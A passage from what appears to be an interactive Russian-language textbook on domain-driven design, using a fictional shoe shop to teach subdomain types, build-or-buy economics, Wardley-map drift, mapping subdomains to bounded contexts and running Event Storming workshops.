глава 7 · экономика уникальность × сложность: куда попадает поддомен и сколько стоит ошибка

Вера выслушала про три типа и спросила по-деловому: «Хорошо. А сколько это стоит? Почему бы не написать всё самим — и не зависеть ни от кого?» Олег и Марина разложили поддомены на две оси. Так разговор о типах превратился в разговор о деньгах и людях.

Уникальность для бизнеса (business differentiation) — насколько этот кусок отличает компанию от конкурентов в глазах покупателя. Ноль — у всех одинаково. Десять — ради этого и приходят.
Сложность бизнес-логики — сколько в куске правил, исключений, расчётов и неопределённости. Не нагрузка и не «модная технология», а именно сложность дела: налоги сложны, список отзывов — нет.
семья и еда. Свадебный торт печёт бабушка по секретному рецепту — уникально и сложно, его не заказывают в кондитерской. Хлеб покупают в магазине — у всех одинаковый, а печь самим долго. Обеды на неделю готовит помощница по простым рецептам семьи — своё, но несложное, можно поручить.

Пять стратегий — что можно сделать с поддоменом

🏗 Строить сами, сильной командой

Своя постоянная команда из сильных людей, своя модель, эксперименты. Дорого и долго, зато знание и отличие остаются у вас.

🧱 Строить просто

Свой код, но без изысков: простая модель, младшие разработчики, готовые библиотеки. Дёшево и предсказуемо.

🤝 Отдать подрядчику

Аутсорс (outsourcing): внешняя команда делает по описанию. Хорошо для понятных, стабильных кусков. Плохо для того, что надо постоянно улучшать: знание уходит вместе с подрядчиком.

📦 Купить коробку

Готовый продукт (COTS, commercial off-the-shelf), который ставите у себя. Платите за лицензию и внедрение; подстраиваетесь под логику продукта.

☁ Подписка SaaS

Программа как услуга (software as a service): пользуетесь через интернет по подписке, ничего не ставите. Быстро; зависите от поставщика и его цен.

🔓 Открытый код

Готовый продукт с открытым кодом (open source): лицензии не платите, но платите своим временем на установку, обновления и сопровождение.

Живая модель: поставьте поддомен на карту

Выберите поддомен. Прочитайте, что о нём сказали на интервью, и поставьте ползунками свою оценку уникальности и сложности. Точка переедет на карте, а модель скажет, в какую зону она попала, что рекомендуется и сколько стоит выбрать не ту стратегию. Нажмите «Зафиксировать оценку» — модель сверит зону с тем, к чему пришли Олег и Вера.

5
5

Оценено верно 0 из 11.

Как читать карту. По горизонтали — сложность, по вертикали — уникальность. Верхняя полоса — основные поддомены. Правый нижний угол — общие: сложно, но у всех одинаково, рынок давно это решил. Левый нижний — поддерживающие: своё и несложное. Жёлтый угол слева вверху — «основной, но легко скопировать»: уникальная, но простая идея проживёт недолго. Цветные точки — поддомены, которые вы уже зафиксировали.
Что заложено в модель. Границы зон: уникальность от 6 — основной; ниже 6 и сложность от 6 — общий; остальное — поддерживающий. Людей на сопровождение на ближайшие три года: сильная команда — 1 + 0,5 × сложность; «строить просто» — 0,5 + 0,25 × сложность; купить — 0,3 + 0,05 × сложность (настройка, переводчик, договор). Числа условные и учебные: они показывают соотношение затрат, а не смету. Идея двух осей — из книги Влада Хононова и из «карты ключевого домена» (Core Domain Chart) сообщества DDD Crew; здесь — упрощённая версия.
Что вы увидите. У основных поддоменов дешевле всего — купить, но эта «экономия» стоит главного: отличия. У общих сильная команда обходится в пять-десять раз дороже покупки, и эти люди не работают над тем, что приносит деньги. Самые коварные — точки около границ зон: там решение зависит от деталей, и его надо проговорить с бизнесом вслух.

глава 8 · время дрейф: то, что было ключевым, становится товаром

Вера подписала типы, но задала вопрос, который Олег записал как самый важный за два дня: «А через пять лет подбор размера будет таким же главным? Мы ведь не одни умеем фотографировать». Ответ — нет, скорее всего не будет. Всё, что приносит отличие, со временем копируют, упрощают и начинают продавать готовым. Чтобы это увидеть, нужна карта, на которой есть время.

Карта Уордли (Wardley map) — способ рисовать бизнес, который придумал британский исследователь Саймон Уордли (Simon Wardley) в середине 2000-х. По вертикали — цепочка ценности: чем выше, тем ближе к покупателю и заметнее ему. По горизонтали — эволюция: насколько зрелым стало решение на рынке.
Четыре стадии эволюции по Уордли: возникновение (genesis) — новое, непонятное, делается впервые; сделано на заказ (custom-built) — уже понятно, как, но каждый делает своё; продукт (product) — появились готовые продукты и аренда; товар (commodity) — стандартная услуга, которую покупают, как электричество.
Товаризация (commoditization) — путь вправо по этой карте: уникальное становится обычным, а потом — стандартной услугой. Его двигает конкуренция: удачное решение копируют, улучшают и упрощают.
Wi-Fi в отеле. Двадцать лет назад табличка «у нас есть Wi-Fi» привлекала гостей — это было отличие. Потом Wi-Fi появился у всех, и стал просто ожидаемым. Сегодня его отсутствие — повод для плохого отзыва, а наличие — не повод выбрать отель. Так же когда-то фабрики строили свои электростанции, а теперь просто включают вилку в розетку.
Проще говоря. Тип поддомена — не паспорт, а снимок. Всё основное со временем ползёт к общему. Задача бизнеса — заметить это вовремя: перестать вкладывать лучших людей в то, что уже продаётся готовым, и найти следующее отличие.

Живая модель: «Ботинок» на восемь лет вперёд

Упрощённая карта в духе Уордли. По вертикали — ценность для покупателя, по горизонтали — зрелость решения на рынке. Нажмите «▶ Прожить годы» и смотрите, как поддомены ползут вправо. Ломайте: «Конкурент скопировал подбор» ускоряет его дрейф. Включайте решения: «Вера реагирует на дрейф» — компания вовремя ищет новое отличие. «Своя доставка за 2 часа» — бизнес сам сдвигает поддомен влево, и его тип меняется. Нажмите на точку — увидите, что с ней происходит в этот год.

1
Как читать карту. Четыре колонки — стадии зрелости. Слева вверху (голубая подложка) живут основные поддомены: высоко ценятся и ещё не продаются готовыми. Справа (подложка «товар») — общие. Цвет точки — тип поддомена в этот год по положению на карте; пунктир — путь точки за прошедшие годы.
Что заложено в модель. Каждый поддомен каждый год сдвигается вправо на свой шаг: подбор — быстро (конкуренты учатся), бухгалтерия — почти никак (она уже товар). Тип по положению: зрелость левее «продукта» и ценность высокая — основной; стадия «товар» — общий; остальное — поддерживающий. «Отличие от рынка» — средняя «левизна» основных поддоменов с учётом их ценности. «Люди в бывшем основном» — сколько сильных разработчиков продолжают пилить то, что уже продаётся готовым. Числа учебные.
Что вы увидите. Без реакции к 6–7 году подбор размера доползает до «продукта», а отличие «Ботинка» тает: всё, что осталось, умеют все. С реакцией Вера на 4–5 году запускает новую идею (на карте появится зелёная точка), а подбор переводят на готовый сервис и освобождают людей. Своя доставка за два часа уносит доставку влево и вверх — из общего поддомена она становится основным, и с ней надо обращаться иначе (глава 9).
Это упрощение. Настоящая карта Уордли строится от потребности покупателя вниз по цепочке компонентов и учит видеть движение рынка; это отдельный навык. Здесь взяты только две её идеи: ценность и зрелость — и то, что всё движется вправо. Практический вывод для аналитика: пересматривать типы поддоменов раз в полгода-год, вместе с бизнесом, и записывать это в план работ.

глава 9 · цена ошибки перепутали тип: что будет через год

Типы — не теория ради теории. Неверно определённый тип — это неверно потраченные деньги и люди. Олег спросил у коллег из других компаний, как у них ошибались. Три сюжета повторялись чаще других. Нажмите, чтобы раскрыть.

Симулятор: проживите год с ошибкой

Выберите поддомен и то, как с ним обошлись. Нажмите «▶ Прожить год»: месяцы пойдут один за другим, в журнале появятся события, а счётчики покажут деньги, скорость изменений и отличие от конкурентов. Попробуйте и неправильные варианты, и правильный — балл даётся за поддомен, когда вы прожили год с верным обращением.

поддомен (в скобках — его настоящий тип)
как с ним обошлись
Правильно прожито: 0 из 4
Как читать. Двенадцать клеток — месяцы. Значок в клетке — заметное событие: 🚀 запуск, 📈 улучшение, ⚠ тревожный знак, 🔥 инцидент, 💸 лишние траты, 🏁 итог. Цвет — как прошёл месяц для бизнеса. Счётчики: «Людей занято» — сколько разработчиков ушло в этот поддомен; «Срок доработки» — сколько дней занимает типичная правка; «Отличие» — насколько «Ботинок» отличается от конкурентов в этом месте; «Инциденты» — серьёзные проблемы за год.
Что вы увидите. Ошибки бывают двух видов. «Недовложили в основной» — дёшево сейчас и дорого потом: отличие тает, вернуть его трудно. «Перевложили в общий» — дорого сейчас и бессмысленно всегда: люди заняты, а выручки не прибавилось. Третий вид — не заметили, что тип сменился (доставка), — выглядит как первый, но приходит неожиданно.

глава 10 · решение куда вкладывать людей: строить, купить, SaaS, подряд

Вечером второго дня была финальная встреча: Вера, технический директор, Марина и Олег. Технический директор начал с привычного: «Двенадцать человек, двенадцать поддоменов — по одному на каждый, по-честному». Олег положил на стол таблицу.

Решение по «Ботинку» — как его записал Олег

ПоддоменТипСтратегияНовых людейКак мерить успех
Подбор размера по фотоосновнойСтроим сами сильной командой; эксперименты каждую неделю5Доля возвратов «не подошёл размер»; точность подбора
ВозвратыосновнойСтроим сами; причины возвратов — данные для подбора2Срок разбора причины; доля причин, дошедших до модели подбора
Каталог и поискподдерживающийСтроим просто; поисковый движок — готовый открытый1Время публикации карточки; поиск находит товар
Оформление заказаподдерживающийСтроим просто, без фантазии1Доля брошенных корзин на шаге оформления
Склад и остаткиподдерживающийСтроим просто: остатки, резерв, сборка1Ошибки сборки; продажи «в минус»
ОтзывыподдерживающийОставляем как есть; модерация — готовым сервисом0—
Приём оплатыобщийПлатёжный провайдер; свой код — переводчик1Время подключения нового способа оплаты
ДоставкаобщийАгрегатор служб доставки; свой код — переводчик1Время подключения нового перевозчика
РассылкиобщийПодписка на сервис рассылок0Доставляемость писем
БухгалтерияобщийГотовая учётная система; выгрузка продаж раз в сутки0Расхождения выгрузки
Вход в личный кабинетобщийГотовый провайдер входа по OpenID Connect0Часы сопровождения в месяц
Поддержка покупателейобщийПодписка на систему обращений0Срок ответа покупателю
Почему у общих «Оплаты» и «Доставки» всё-таки по человеку. Купить — не значит «ноль работы». Кто-то должен подключить чужой продукт, написать переводчик с его языка на язык «Ботинка» и следить, чтобы обновления поставщика ничего не ломали. Это и есть слой предотвращения порчи (anticorruption layer): тонкая прослойка, которая не пускает чужую модель внутрь. Подробно — в разделе .

Тренажёр: распределите двенадцать разработчиков

Попробуйте сами. Кнопками «−» и «+» раздайте двенадцать новых разработчиков. Модель оценит распределение: растёт ли отличие, не остались ли нужные части без людей и не пишет ли кто-то «велосипеды» там, где можно купить.

Что заложено в модель. Двенадцать строк — двенадцать поддоменов из списка v0.2. Распределение считается удачным, если: розданы все двенадцать; в основные поддомены ушло не меньше половины и в подбор — не меньше четырёх; в общие — не больше двух (только переводчики и настройка купленного); у каталога, оформления заказа и склада есть хотя бы по одному человеку. «Прирост отличия» растёт с людьми в основных поддоменах, но с убывающей отдачей: шестой человек в одной команде даёт меньше третьего.

Как это звучит в требованиях

Решения по типам попадают в постановку как архитектурные ограничения: их можно проверить, и они защищают от тихого «а давайте напишем своё».

АРХИТЕКТУРНЫЕ ОГРАНИЧЕНИЯ (из решения по поддоменам «Ботинка»)

АО-1  Вход в личный кабинет реализуется готовым провайдером
      входа по протоколу OpenID Connect. Собственная проверка
      паролей в системах «Ботинка» не разрабатывается.
АО-2  Платежи принимает платёжный провайдер. Данные банковских
      карт не попадают в системы «Ботинка» — это сужает область
      требований PCI DSS.
АО-3  Каждый купленный продукт подключается через переводчик
      (слой предотвращения порчи). Модели поставщика не
      используются за пределами переводчика. Замена поставщика
      не требует правок вне переводчика.
АО-4  Подбор размера и возвраты разрабатывает собственная
      команда. Передача этих поддоменов подрядчику требует
      решения владелицы.
АО-5  Карта поддоменов и их типов пересматривается раз в полгода;
      результат пересмотра — запись в журнале решений.
Где почитать про оформление решений. Запись «почему решили купить, а не строить» — это архитектурное решение (ADR), формат разобран в разделе . Как устроены вход и платежи — в разделах и .

глава 11 · перенос другой бизнес: разложите поддомены маркетплейса

Через месяц Олега позвали помочь знакомой команде. Метод тот же, бизнес другой. Вы проектируете маркетплейс товаров ручной работы. Его отличие от конкурентов — подбор мастеров под запрос покупателя и управление репутацией мастеров. Разложите поддомены по типам: от этого зависит, куда пойдут люди и деньги.

Подсказка. Задавайте те же три вопроса из главы 6. «Отличает ли это нас?» — только подбор и репутация. «Есть ли готовое, которое подходит без переделки бизнеса?» — платежи, вход, рассылки, хранение фото. Остальное — своё, но несложное.

Разложено 0 из 0.

глава 12 · к границам от поддоменов к первым кандидатам в границы: 1:1, 1:N, N:1

Последний пункт задания — «первые кандидаты в границы системы». Здесь Олег впервые переходит из проблемного пространства в пространство решений. Поддомены — то, что есть в бизнесе. Контексты — то, как мы его нарежем. Чаще всего одно ложится на другое один к одному, но не всегда.

Кандидат в границу — предполагаемая граница ограниченного контекста, которую ещё предстоит проверить: на воркшопе Event Storming, по связности, по командам и нагрузке. Методы проверки — в разделе .
переезд в новый офис. Отделы компании — это данность (проблемное пространство). А кто в какой комнате сядет — решение. Обычно отдел в комнате. Но большой отдел иногда занимает две комнаты, а два маленьких делят одну. Бухгалтерию вообще могут перевести на аутсорс — тогда комната ей не нужна.

1:1 — один поддомен, один контекст

Вариант по умолчанию. Поддомен «Склад и остатки» → контекст «Склад». Одна модель, один язык, одна команда. Начинайте с него и отступайте только по названной причине.

1:N — один поддомен, несколько контекстов

Внутри поддомена нашлось два языка или две разные силы. «Каталог и поиск» → «Каталог» и «Цены»: у цен свои слова (акция, промокод) и свой темп изменений. «Вход» → купленный провайдер входа + свой контекст «Покупатели» (профиль, согласия).

N:1 — несколько поддоменов, один контекст

Поддомены маленькие, говорят на одном языке, у них одна команда и они меняются вместе. «Каталог и поиск» + «Отзывы» → один контекст «Каталог». На старте компании N:1 встречается чаще всего.

1:0 — своего контекста нет

Общий поддомен закрыт купленным продуктом. Свой код — только переводчик к нему. «Бухгалтерия» → готовая учётная система и выгрузка продаж.

Живая схема: как поддомены «Ботинка» легли на контексты

Слева — поддомены (проблемное пространство), справа — контексты и купленные продукты (пространство решений). Фильтры подсвечивают связи одного вида. Переключатель эпох показывает тот же бизнес в двух моментах: три года назад, когда вся разработка была одной командой из пяти человек, и сейчас, когда команд пять. Нажмите на любой прямоугольник — увидите его связи и объяснение.

эпоха
какие связи показать
1:1 1:N — поддомен разделён N:1 — поддомены объединены 1:0 — закрыт купленным
Как читать схему. Рамка поддомена — цвет его типа: основной, поддерживающий, общий (пунктир). Справа серые прямоугольники с точечной рамкой — купленные продукты: своего контекста там нет. Линия — «этот поддомен живёт в этом контексте». Цвет линии — вид связи.
Что вы увидите. Поддомены в обеих эпохах одни и те же — бизнес не поменялся. Контексты — разные. Три года назад одна команда держала крупные модули «Витрина», «Подбор» и «Логистика», и почти все связи были N:1. Сейчас пять команд, и связи стали в основном 1:1, а «Каталог и поиск» распался на два контекста. И ещё: три года назад вход в кабинет написали сами — та самая ошибка из главы 9.

Шесть правил, как поддомены ложатся на контексты

Нажмите на правило, чтобы раскрыть.

Дальше по книге. Что такое контекст и почему одно слово в разных контекстах — разные сущности, разбирает . Как найти и проверить границы на цифрах — . Но сначала — : там кандидаты Олега проверят у одной стены все эксперты сразу.

глава 13 · аналитику как оформить разбор домена: пять артефактов

Разбор, который живёт только в голове Олега и на фото доски, через полгода превращается в спор «а мы разве так решали?». Поэтому Олег сдал пять документов — ровно те, что обещал в главе 1. Выберите артефакт — увидите пример на «Ботинке» и пояснение, зачем он нужен и кто им пользуется.

Модель предметной области (domain model) — схема понятий бизнеса и связей между ними: «покупатель делает замер стопы», «по замеру выдаётся рекомендация размера». Это не схема базы данных: в ней нет типов полей, ключей и таблиц. Это словарь в картинке.
Карта поддоменов (subdomain map) — таблица или схема всех поддоменов с типом, хозяином, стратегией и людьми. Главный документ разбора.
Карта бизнес-возможностей (capability map) — что компания умеет, разложенное по уровням. Если раскрасить её по типам поддоменов, получится тепловая карта (heat map): сразу видно, где горячо.
папка, которую оставляет после себя хороший врач-консультант: выписка с диагнозом, словарь терминов для родственников, схема лечения и дата следующего осмотра. Без неё следующий врач начнёт с нуля.

Чек-лист: разбор домена готов, если…

Нажмите, чтобы раскрыть.

Типичные ошибки аналитика

Список поддоменов = список систем

«1С, CRM, сайт, мобильное приложение». Это пространство решений. Спросите: «а что делает эта система для бизнеса?» — ответ и будет поддоменом.

Типы проставил аналитик один

Тип поддомена — решение бизнеса о том, где он конкурирует. Аналитик предлагает и обосновывает, владелец подписывает. Иначе через месяц тип «тихо» поменяют.

Всё объявили основным

Если основных больше трёх-четырёх, разговор о вложениях не состоялся: «всё важно» значит «ничего не выделено». Попросите бизнес выбрать, без чего компания станет обычной.

Глоссарий без пометки «где»

Одно определение «заказа» на всю компанию — первый шаг к классу на шестьдесят полей. Термин в глоссарии всегда с пометкой, в какой части бизнеса он значит именно это.

Разбор сделан один раз

Карта без даты пересмотра устаревает молча. Через два года основной поддомен становится товаром, а люди всё ещё пишут его сами.

Разбор вместо разговора

Карту нарисовали по документации и оргсхеме, не поговорив с Семёном и Лидой. Получилось аккуратно и неправильно: эксперты знают исключения, которых нет в регламентах.

глава 14 · проверь себя поддомены и вложения: задачи из жизни

Решено 0 из 0.

Дальше → Event Storming: как за один воркшоп собрать процесс бизнеса на стене и увидеть, где проходят границы

Event Storming — это способ за несколько часов собрать у одной стены всех, кто знает бизнес, и вместе выложить его историю из оранжевых стикеров. Каждый стикер — одно событие: «Заказ оформлен», «Оплата получена», «Заказ отгружен». Когда события выстроены по времени, на стене сами собой проступают споры, дыры в процессе и границы будущих частей системы. Весь раздел — один день из жизни «Ботинка». Аналитик Олег проводит воркшоп. У стены — владелица магазина, кладовщик, поддержка, маркетинг, бухгалтер и разработчики. Мы пройдём этот день по фазам, а в главе 6 вы сами «проведёте» воркшоп на живой стене.

зачем это зачем аналитику и архитектору Event Storming

карта раздела один воркшоп, пятнадцать глав

Главы идут по порядку дня: сначала азбука (что такое событие, какие бывают стикеры), потом подготовка, потом сам воркшоп и то, что из него получается. Самое наглядное — живая стена в главе 6 и ножницы в главе 8: там видно, как из хаоса проступают границы. Кнопка переносит к главе.

глава 1 · завязка разговор глухих: как «Ботинок» раздал бонусы за возвращённые кроссовки

Весной «Ботинок» запустил бонусную программу. За каждую покупку клиенту начисляются бонусы, ими можно оплатить часть следующего заказа. Аналитик Олег поговорил с маркетологом Кирой, написал постановку, разработчик Борис сделал всё точно по ней. Через месяц бухгалтер Нина принесла отчёт: магазин потерял на бонусах больше, чем заработал на программе.

Что случилось? Пройдите цепочку по шагам.

Как читать схему. Подсвечено то, что участвует в шаге. Стрелки между рядами — кто кому что передал. Жмите «Дальше →» или ▶.

Никто в этой истории не ошибся по-крупному. Кира честно рассказала, как видит программу она. Олег честно записал. Борис честно сделал. Беда в том, что знание о бизнесе размазано по людям, а собирали его по одному человеку за раз. Правило Веры («бонусы — только после срока возврата») жило в голове у Веры. Проблема с возвратами была известна Лиде из поддержки. До постановки не дошло ни то ни другое.

🗣 Разные языки

Бизнес говорит «заказ ушёл», разработка — «статус изменён на SHIPPED». Склад под «отправлен» понимает «уехал со склада», поддержка — «клиенту ушло письмо». Слова одни, смыслы разные.

🧩 Знание по кусочкам

Никто не знает весь процесс целиком. Кладовщик знает склад, Лида — жалобы, Нина — деньги. Целую картину видят только в момент аварии.

📞 Испорченный телефон

Знание идёт по цепочке: эксперт → аналитик → документ → разработчик → код. На каждом шаге что-то теряется. Код в итоге отражает не бизнес, а пересказ пересказа.

После разбора Олег предложил другое: собрать всех сразу у одной стены на один день и вместе выложить, как «Ботинок» живёт — от появления товара в каталоге до возврата денег. Это и есть Event Storming.

Event Storming («штурм событиями») — групповой воркшоп, на котором эксперты бизнеса и разработчики вместе выкладывают на длинной стене события бизнес-процесса в порядке времени. Каждое событие — оранжевый стикер с фактом в прошедшем времени. Метод придумал итальянский консультант Альберто Брандолини (Alberto Brandolini) в 2013 году. Его книга «Introducing EventStorming» выходит на площадке Leanpub частями.
следователи восстанавливают картину происшествия. На доску крепят факты в порядке времени: «21:05 — машина выехала со двора», «21:20 — свет в окне погас». Каждый свидетель добавляет то, что видел сам. Пока факты висят по отдельности в разных протоколах, картины нет. Когда они выстроены в одну линию, сразу видно, где пробел («что было между 21:05 и 21:20?») и где показания противоречат друг другу. Event Storming — такая же доска, только для бизнеса.

Почему именно события, а не «сущности» или «функции»

События понятны всем

Чтобы сказать «оплата получена», не нужно знать ни UML, ни SQL. Кладовщик и владелица говорят на этом языке с первой минуты. Таблицы и классы понятны только части комнаты.

О фактах спорить легче

Договориться, «что такое заказ», бывает невозможно: у каждого отдела свой заказ. А что «заказ оформлен» — факт, который признают все. Спор переезжает с определений на последовательность.

Время показывает дыры

Когда события стоят по порядку, видно, чего не хватает: «а что происходит между оплатой и сборкой?». Список функций такую дыру не покажет.

События потом станут кодом

То, что сегодня висит на стене, завтра станет сообщением между сервисами — например, в Kafka. Об этом глава 11. Язык стены и язык кода совпадают.

Когда Event Storming особенно нужен

  • Старт нового продукта или большой новой функции — чтобы все одинаково поняли, что строим.
  • Распил монолита — чтобы найти швы по бизнесу, а не по таблицам. Подробнее — в разделе .
  • Поиск границ контекстов — где одно и то же слово начинает значить другое. Это раздел .
  • Узкие места процесса — где заказы застревают, где люди звонят друг другу вместо системы.
  • Ввод новичков — стена за день рассказывает о бизнесе больше, чем месяц чтения документации.
Когда не нужен. Маленькая система «форма → таблица → отчёт» без бизнес-правил. Задача чисто техническая: «ускорить запрос», «обновить версию базы». Нет доступа к людям, которые знают бизнес, — без них стена превращается в фантазию разработчиков.

глава 2 · событие доменное событие: факт, который уже случился и важен бизнесу

Утро воркшопа. Олег раздаёт оранжевые стикеры и пишет на доске одно правило: «Что произошло в „Ботинке“? Пишем в прошедшем времени». Через минуту Кира спрашивает: «А „обновить статус“ — это событие?» Нет. Разберёмся, что такое событие и как его правильно назвать.

Доменное событие (domain event) — факт, который уже произошёл в бизнесе и важен для людей, которые этим бизнесом занимаются. Пишется в прошедшем времени: «Заказ оформлен», «Оплата получена», «Возврат одобрен».
судовой журнал. Штурман пишет: «12:40 — прошли маяк», «13:10 — встал левый двигатель». Он не пишет «надо пройти маяк» (это план) и не пишет «капитан повернул рычаг номер три» (это подробности кабины). В журнал попадает то, что случилось и что важно для плавания.

Пять правил хорошего события

1
Прошедшее время. «Заказ оформлен», а не «оформить заказ» и не «оформление заказа».Повелительная форма — это команда, намерение. Событие — свершившийся факт.
2
Важно бизнесу. Эксперт, прочитав стикер, кивнёт: «да, это у нас бывает, и это важно».Проверка: если это событие пропадёт, кто-нибудь в компании заметит? Нина заметит пропажу «Оплата получена». Пропажу «Запрос к базе выполнен» не заметит никто.
3
Язык бизнеса, не техники и не экрана. «Заказ оформлен», а не «кнопка „Купить“ нажата» и не «строка вставлена в таблицу orders».Кнопку завтра перекрасят, таблицу переименуют. Факт «заказ оформлен» останется.
4
Конкретно. «Адрес доставки изменён», а не «Заказ обновлён». «Заказ отгружен», а не «Статус изменён».У разных изменений разные последствия: смена адреса важна доставке, смена состава — складу. Общее слово прячет смысл.
5
Один факт на стикер. «Заказ оплачен и передан на склад» — это два события, и между ними может что-то сломаться.Если в названии есть «и», почти наверняка стикеров должно быть два.
Проще говоря. Хорошее событие отвечает на вопрос «что случилось?» так, как ответил бы человек из бизнеса, а не программа. И его нельзя «отменить» — можно только добавить новое событие, которое исправит последствия: «Заказ отменён», «Деньги возвращены». Прошлое не переписывают, его дополняют.

Тренажёр: перепишите плохие стикеры

Эти стикеры принесли участники в первые десять минут. У каждого своя болезнь. Выберите, как его переписать. Правильный вариант заменит стикер на стене.

Исправлено 0 из 0.

Проверьте свою формулировку

Напишите событие из своей работы — например, из системы, которую вы сейчас описываете. Проверка простая и подсказывающая: она ищет признаки команды, интерфейса, техники, будущего времени и слишком общих слов. Решение всё равно за вами и экспертом.

Шум, который отсеивают. На стене часто оказываются события интерфейса («открыта страница корзины»), технические («сообщение ушло в очередь», «кеш очищен») и события внешнего мира, на которые бизнес не влияет («начался дождь»). Первые два обычно переписывают в доменные или убирают. Третьи иногда оставляют: «Началась чёрная пятница» — важная веха для магазина.

глава 3 · нотация цвета стикеров: у каждого вида своя роль

К середине дня на стене появляются не только оранжевые стикеры. У Брандолини каждому виду стикера соответствует свой цвет. Цвет нужен, чтобы стену можно было «читать» с трёх метров: где факты, где решения людей, где правила, где вопросы.

Цвета — договорённость, а не закон. Брандолини советует не тратить силы на идеальную палитру: важнее, чтобы легенда висела на стене и все её видели. Горячие точки он клеит ромбом (стикер, повёрнутый на 45°) ярко-малинового цвета, многие команды берут просто красный. Внешнюю систему пишут на широком розовом стикере. На этой странице цвета подстраиваются под светлую и тёмную тему, но остаются узнаваемыми.

«Картинка, которая объясняет всё»

Так Брандолини называет схему, по которой стикеры складываются в предложения. Её стоит выучить, как таблицу умножения: на ней держатся уровни процесса и дизайна (главы 9 и 10).

акторПокупательмодель чтенияКорзина и наличие
→ командаОформить заказ →
агрегатЗаказили внешняя системаПлатёжный шлюз
→ событиеЗаказ оформлен → политикаКогда заказ оформлен — резервируем товар → командаЗарезервировать товар → …
Как это читать вслух. «Покупатель, посмотрев на корзину и наличие, даёт команду „Оформить заказ“. Заказ проверяет свои правила и, если всё в порядке, порождает событие „Заказ оформлен“. Когда заказ оформлен, тогда мы резервируем товар — это новая команда, и цепочка идёт дальше». Любой бизнес-процесс — это такие предложения, сцепленные друг с другом.

Тренажёр: какой это стикер?

Олег собрал фразы, которые звучали у стены. Разложите их по цветам.

Решено 0 из 0.

глава 4 · уровни три уровня: общая картина, процесс, дизайн

Event Storming — не один формат, а семейство из трёх. Они отличаются масштабом, составом комнаты и тем, что получается на выходе. Удобно думать о них как о трёх масштабах карты.

карта страны, карта города и план квартиры. По карте страны решают, в какой город ехать. По карте города — каким маршрутом. По плану квартиры — куда поставить шкаф. Нельзя спланировать шкаф по карте страны, и незачем рассматривать план квартиры, когда выбираешь город.
Общая картина (Big Picture) — весь бизнес или большая его часть на одной стене. В комнате — представители всех отделов. Цель — общее понимание, споры и проблемы, кандидаты в границы. Пишут в основном события, горячие точки, людей и внешние системы.
Уровень процесса (Process Level, Process Modelling) — один процесс целиком, со всеми правилами: кто какую команду даёт, на основе каких данных, какие политики срабатывают, что бывает при отказе. В комнате — те, кто этот процесс делает, плюс разработчики.
Уровень дизайна (Design Level, Software Design) — тот же процесс, но с прицелом на код: какие агрегаты принимают команды, какие правила охраняют, какие события из них выходят. В комнате — команда разработки и эксперт по этому кусочку бизнеса.

Один кусок «Ботинка» в трёх масштабах

Переключайте уровни — увидите, как один и тот же момент «Анна оплачивает заказ» выглядит на каждом.

Сравнение уровней

Нажмите на строку — раскроется пояснение.

Частая ошибка — начать с дизайна. Команда разработки сразу садится рисовать агрегаты для одного сервиса, не видя всего бизнеса. Получаются красивые агрегаты в неправильных границах. Порядок обычно такой: один раз общая картина на весь бизнес, затем процесс и дизайн — по каждому важному куску отдельно.

глава 5 · подготовка кого звать, что купить и как провести онлайн

Половина успеха воркшопа решается до его начала. Олег потратил на подготовку два дня: договорился с людьми, нашёл комнату, купил бумагу и стикеры, написал приглашение с целью.

Кого звать: соберите комнату

Главное правило Брандолини: в комнате должны быть люди, у которых есть вопросы, и люди, у которых есть ответы. Выберите, кого Олег пригласит на общую картину «Ботинка». Под списком — какие части бизнеса будут закрыты знаниями и чего не хватает.

Комната и материалы

📜 Бесконечная стена

Рулон бумаги на длинной стене: 8–10 метров и больше. Брандолини называет это «неограниченным пространством для моделирования». Стена кончилась посреди процесса — люди начинают экономить место и молчать о деталях.

🟧 Стикеры с запасом

Оранжевых — сотни: на общей картине их уходит больше всего. Плюс синие, сиреневые, зелёные, жёлтые двух размеров, розовые широкие, малиновые или красные. Стикеры с сильным клеем — обычные отваливаются к обеду.

🖊 Маркеры, а не ручки

Чёрные маркеры, по одному на человека. Надпись ручкой не прочитать с двух метров, а стену читают именно издалека. И маркер не даёт писать длинно — это хорошо.

🚶 Без стола посередине

Стулья — вдоль стен, стол убрать. Люди, которые сидят, наблюдают. Люди, которые стоят у стены, участвуют. Брандолини называет большой стол в центре комнаты одной из главных ошибок.

🗺 Легенда на видном месте

Лист с цветами стикеров и правилами («прошедшее время», «одно событие — один стикер») висит у края стены весь день.

🎯 Цель в приглашении

Не «приходите на встречу», а «за день разберём, как „Ботинок“ проводит товар от каталога до возврата денег, и найдём главные проблемы». Цель задаёт границы стены.

Как выглядел день Олега

10:00
Начало: цель дня, правила, легенда цветов. 10–15 минут, не больше.
10:15
Хаотическое исследование: все молча пишут события и клеят. 20–30 минут.
10:45
Хронология: выстраиваем по времени, сливаем дубликаты, спорим и отмечаем горячие точки. Около часа.
11:45
Поворотные события и дорожки.
12:30
Обед. Стену не трогаем.
13:30
Люди и внешние системы. Проход вслух слева направо, затем обратный рассказ справа налево.
15:00
Проблемы и возможности, голосование стрелками.
15:45
Кандидаты в контексты, итоги, кто что делает дальше.
16:30
Конец. Олег фотографирует стену по кускам. Бумагу не выбрасывают ещё неделю.
Числа — ориентир, а не норма. Общая картина обычно занимает от половины до целого дня. Уровень процесса — 2–4 часа на один процесс. Уровень дизайна — от нескольких часов до дня с командой разработки. Лучше закончить, пока у людей ещё есть энергия, чем дотянуть до вечера на автопилоте.

А если все в разных городах

С 2020 года многие воркшопы проходят онлайн на виртуальных досках: Miro, Mural, FigJam и подобных. Работает, но по-другому:

  • Делите на части. Вместо одного дня — 2–3 встречи по 2–3 часа. Целый день перед камерой выдержать трудно.
  • Готовьте доску заранее: длинная лента времени, легенда, заготовки стикеров каждого цвета, место для «парковки» вопросов.
  • Хаос — в отдельных комнатах. На хаотическом исследовании группы по 3–4 человека пишут события параллельно, потом сводят на общую ленту.
  • Камеры включены, а голос — по очереди. Фасилитатор чаще обычного спрашивает молчащих по имени.
  • Плюс онлайна: стена сохраняется сама, её не надо фотографировать и перепечатывать.

глава 6 · живая стена воркшоп «Ботинка» по фазам: от хаоса до границ

Это стена Олега. На ней около пятидесяти стикеров — весь путь кроссовок от каталога до возврата денег. Проведите воркшоп сами: кнопка «Дальше →» переводит стену в следующую фазу. Стикеры появляются, выстраиваются по времени, разъезжаются по дорожкам, обрастают вопросами, людьми и системами. В последней фазе пунктиром проступают границы будущих контекстов.

Под стеной — что в этой фазе делает фасилитатор и зачем. Нажмите на любой стикер — справа появится, кто его наклеил и что он значит. Переключатель «показать только» гасит всё, кроме выбранного вида.

показать только
стикер · нажмите на любой на стене
